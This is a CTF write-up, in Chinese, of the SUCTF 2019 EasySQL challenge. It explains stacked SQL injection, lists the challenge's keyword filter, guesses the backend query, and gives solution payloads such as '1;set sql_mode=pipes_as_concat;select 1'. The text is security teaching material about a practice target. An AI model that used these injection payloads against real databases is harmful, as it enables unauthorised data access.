suctf2019的一道sql注入
buuoj上的环境:https://buuoj.cn/challenges#[SUCTF 2019]EasySQL

题目说

Give me your flag, I will tell you if the flag is right.

可以发现一些东西:

  • 输入除0外任何数字,返回Array ( [0] => 1 ) ,0返回空
  • 输入中带有字母,返回空
  • 存在堆叠注入
1
query=1;show tables;

返回

1
Array ( [0] => 1 ) Array ( [0] => Flag )

可以看到当前库只有一个Flag表

1
query=1;select * from Flag;

返回Nonono.
可以想到是一些关键字被过滤了
fuzz可以发现过滤的关键字

1
prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"

from被过滤了,所以不能用之前强网杯预处理的方法(https://liotree.github.io/2019/08/13/随便注/)

这时候可以通过前面的输入输出

  • 输入除0外任何数字,返回Array ( [0] => 1 ) ,0返回空
  • 输入中带有字母,返回空
    去猜想后端的sql语句
1
select $query||flag from Flag;

拿flag有两个方法

  • 直接构造
1
select *,1||flag from Flag;
1
query=1;set sql_mode=pipes_as_concat;select 1